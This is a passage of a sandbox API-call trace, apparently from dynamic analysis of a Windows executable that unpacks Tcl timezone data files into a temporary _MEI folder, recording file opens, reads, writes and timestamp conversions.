lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.443] CloseHandle (hObject=0x10c) returned 1 [0038.443] GetLastError () returned 0x0 [0038.443] SetLastError (dwErrCode=0x0) [0038.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.443] GetFileType (hFile=0x10c) returned 0x1 [0038.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.444] CloseHandle (hObject=0x10c) returned 1 [0038.444] GetLastError () returned 0x0 [0038.444] SetLastError (dwErrCode=0x0) [0038.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy") returned 80 [0038.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\jujuy"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.444] GetLastError () returned 0x2 [0038.444] SetLastError (dwErrCode=0x2) [0038.444] GetLastError () returned 0x2 [0038.444] SetLastError (dwErrCode=0x2) [0038.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy", lpFilePart=0x0) returned 0x4f [0038.444] GetLastError () returned 0x2 [0038.444] SetLastError (dwErrCode=0x2) [0038.444] GetLastError () returned 0x2 [0038.444] SetLastError (dwErrCode=0x2) [0038.444] GetLastError () returned 0x2 [0038.444] SetLastError (dwErrCode=0x2) [0038.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy") returned 80 [0038.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Jujuy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\jujuy"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.445] GetFileType (hFile=0x10c) returned 0x1 [0038.445] htonl (hostlong=0xd5070000) returned 0x7d5 [0038.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.445] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7d5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7d5, lpOverlapped=0x0) returned 1 [0038.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.446] CloseHandle (hObject=0x10c) returned 1 [0038.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.447] htonl (hostlong=0x40000000) returned 0x40 [0038.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.447] GetFileType (hFile=0x10c) returned 0x1 [0038.447] htonl (hostlong=0xf9885800) returned 0x5888f9 [0038.447] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d38f9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.447] htonl (hostlong=0xe020000) returned 0x20e [0038.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20e) returned 0x550600 [0038.447] htonl (hostlong=0xe020000) returned 0x20e [0038.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.447] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.447] htonl (hostlong=0x13080000) returned 0x813 [0038.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x813) returned 0x55e278 [0038.447] htonl (hostlong=0xe020000) returned 0x20e [0038.447] htonl (hostlong=0x13080000) returned 0x813 [0038.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.447] CloseHandle (hObject=0x10c) returned 1 [0038.447] GetLastError () returned 0x0 [0038.447] SetLastError (dwErrCode=0x0) [0038.447] GetLastError () returned 0x0 [0038.448] SetLastError (dwErrCode=0x0) [0038.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.448] GetFileType (hFile=0x10c) returned 0x1 [0038.448] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.448] CloseHandle (hObject=0x10c) returned 1 [0038.448] GetLastError () returned 0x0 [0038.448] SetLastError (dwErrCode=0x0) [0038.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.448] GetFileType (hFile=0x10c) returned 0x1 [0038.448] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.449] CloseHandle (hObject=0x10c) returned 1 [0038.449] GetLastError () returned 0x0 [0038.449] SetLastError (dwErrCode=0x0) [0038.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.449] GetFileType (hFile=0x10c) returned 0x1 [0038.449] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.449] CloseHandle (hObject=0x10c) returned 1 [0038.450] GetLastError () returned 0x0 [0038.450] SetLastError (dwErrCode=0x0) [0038.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.450] GetFileType (hFile=0x10c) returned 0x1 [0038.450] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.450] CloseHandle (hObject=0x10c) returned 1 [0038.450] GetLastError () returned 0x0 [0038.450] SetLastError (dwErrCode=0x0) [0038.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja") returned 83 [0038.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\la_rioja"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.450] GetLastError () returned 0x2 [0038.450] SetLastError (dwErrCode=0x2) [0038.450] GetLastError () returned 0x2 [0038.450] SetLastError (dwErrCode=0x2) [0038.450] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja", lpFilePart=0x0) returned 0x52 [0038.450] GetLastError () returned 0x2 [0038.451] SetLastError (dwErrCode=0x2) [0038.451] GetLastError () returned 0x2 [0038.451] SetLastError (dwErrCode=0x2) [0038.451] GetLastError () returned 0x2 [0038.451] SetLastError (dwErrCode=0x2) [0038.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja") returned 83 [0038.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\La_Rioja" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\la_rioja"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.451] GetFileType (hFile=0x10c) returned 0x1 [0038.452] htonl (hostlong=0x13080000) returned 0x813 [0038.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.452] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x813, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x813, lpOverlapped=0x0) returned 1 [0038.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.453] CloseHandle (hObject=0x10c) returned 1 [0038.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.453] htonl (hostlong=0x40000000) returned 0x40 [0038.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.454] GetFileType (hFile=0x10c) returned 0x1 [0038.454] htonl (hostlong=0x78b5800) returned 0x588b07 [0038.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3b07, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.454] htonl (hostlong=0x14020000) returned 0x214 [0038.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x214) returned 0x550600 [0038.454] htonl (hostlong=0x14020000) returned 0x214 [0038.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.454] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.454] htonl (hostlong=0xfb070000) returned 0x7fb [0038.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7fb) returned 0x55e278 [0038.454] htonl (hostlong=0x14020000) returned 0x214 [0038.454] htonl (hostlong=0xfb070000) returned 0x7fb [0038.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.455] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.455] CloseHandle (hObject=0x10c) returned 1 [0038.455] GetLastError () returned 0x0 [0038.455] SetLastError (dwErrCode=0x0) [0038.455] GetLastError () returned 0x0 [0038.455] SetLastError (dwErrCode=0x0) [0038.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.455] GetFileType (hFile=0x10c) returned 0x1 [0038.455] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.455] CloseHandle (hObject=0x10c) returned 1 [0038.455] GetLastError () returned 0x0 [0038.455] SetLastError (dwErrCode=0x0) [0038.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.455] GetFileType (hFile=0x10c) returned 0x1 [0038.456] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 